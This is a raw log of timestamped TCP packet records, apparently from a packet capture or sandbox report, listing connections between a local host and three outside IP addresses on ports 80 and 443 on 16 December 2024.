Dec 16, 2024 09:01:35.586847067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.586901903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.586946964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.587590933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.587713003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.587762117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.588459015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.588506937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.588593006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.588643074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.589266062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.589313984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.589373112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.589416981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.590137005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.590244055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.590290070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.590936899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.590987921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.591034889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.591080904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.591753006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.591801882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.591877937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.591922998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.592556953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.592603922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.592669964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.592715025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.593410015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.593475103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.593487978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.593527079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.594202995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.594250917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.594263077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.594306946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.595065117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.595113039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.595146894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.595257044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.597873926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.597923040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.598025084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.598105907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.598309994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.598392010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.598438978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.598917007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.598964930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.599030972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.599075079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.599761963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.599812031 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.599816084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.599859953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.747194052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.747361898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.747380018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.747422934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.747543097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.747591019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.747611046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.747656107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.748332977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.748399019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.748442888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.748485088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.749161959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.749207020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.749258041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.749300957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.749991894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.750039101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.750154972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.750200033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.750935078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.750983000 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.751024008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.751070023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.751662970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.751712084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.751749992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.751795053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.752451897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.752501011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.752518892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.752563953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.753272057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.753321886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.753377914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.753422976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.754123926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.754175901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.754205942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.754251003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.754947901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.754996061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.755037069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.755083084 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.755775928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.755822897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.755877018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.755925894 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.756580114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.756627083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.756685019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.756728888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.757473946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.757519960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.757580042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.757627964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.758274078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.758325100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.758382082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.758428097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.759088039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.759130955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.759171963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.759212971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.759888887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.759937048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.759999037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.760044098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.760726929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.760775089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.760833025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.760880947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.761559010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.761605024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.761642933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.761691093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.762357950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.762406111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.762463093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.762507915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.763207912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.763251066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.763309002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.763355970 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.764049053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.764097929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.764208078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.764254093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.764858007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.764909983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.764983892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.765028954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.765671968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.765719891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.765785933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.765830040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.766504049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.766555071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.766608953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.766654968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.767376900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.767472029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.767565966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.767565966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.768213034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.768260956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.768321037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.768366098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.769136906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.769185066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.769263029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.769305944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.769983053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.770030975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.770042896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.770088911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:35.770761967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:35.770807981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:38.097331047 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:38.097372055 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:38.097455978 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:38.109407902 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:38.109424114 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:38.340240002 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:38.340533972 CET	49894	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:38.460221052 CET	80	49894	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:38.460366011 CET	49894	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:38.460412025 CET	80	49860	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:38.460498095 CET	49860	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:38.460628986 CET	49894	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:38.580252886 CET	80	49894	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:39.804928064 CET	80	49894	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:39.805033922 CET	49894	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:39.808177948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:39.808518887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:39.853629112 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:39.854182005 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:39.854193926 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:39.855983973 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:39.856057882 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:39.857292891 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:39.857388973 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:39.863998890 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:39.864006996 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:39.915817976 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:39.928204060 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:39.928327084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:39.928392887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:39.928399086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:39.928514004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:40.048172951 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.182514906 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:41.184557915 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:41.184689999 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:41.206413984 CET	49893	443	192.168.2.5	44.196.3.45
Dec 16, 2024 09:01:41.206444979 CET	443	49893	44.196.3.45	192.168.2.5
Dec 16, 2024 09:01:41.254563093 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254658937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254667997 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254739046 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.254801989 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254817963 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254827976 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254837036 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254870892 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.254898071 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.254971027 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254977942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.254993916 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.255059004 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.374561071 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.374640942 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.374680042 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.374708891 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.378671885 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.378762960 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.446835995 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.446877956 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.446954966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.446954966 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.451046944 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.451118946 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.451123953 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.451175928 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.459417105 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.459506035 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.459621906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.467400074 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.467495918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.467521906 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.467730999 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.475801945 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.475915909 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.476109028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.484184980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.484287024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.484316111 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.484425068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.492592096 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.492652893 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.492742062 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.492784977 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.500988960 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.501163006 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.501205921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.501262903 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.509383917 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.509501934 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.509510994 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.509588003 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.517867088 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.517930984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.518090010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.518090010 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.526182890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.526281118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.526310921 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.526371002 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.566895962 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.566986084 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.566998959 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.567087889 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.639188051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.639266014 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.639329910 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.639544964 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.641539097 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.641590118 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.641592979 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.641674995 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.646255970 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.646344900 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.646379948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.646435022 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.651027918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.651170015 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.651285887 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.655746937 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.655793905 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.655879974 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.660413980 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.660491943 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.660506964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.660579920 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.665107012 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.665183067 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.665227890 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.665294886 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.669811964 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.669910908 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.670119047 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.670392036 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.674520016 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.674607992 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.674699068 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.679209948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.679328918 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.679445028 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.683960915 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.684133053 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.684210062 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.688602924 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.688668966 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.688796043 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.693367004 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.693451881 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.693521023 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.698039055 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.698098898 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.698328972 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.701694965 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.701792002 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.701956034 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.705337048 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.705485106 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.705636024 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.708976984 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.709073067 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.709088087 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.709130049 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.712636948 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.712738037 CET	49900	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:41.712748051 CET	80	49900	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:41.712809086 CET	49900	80	192.168.2.5	31.41.244.11
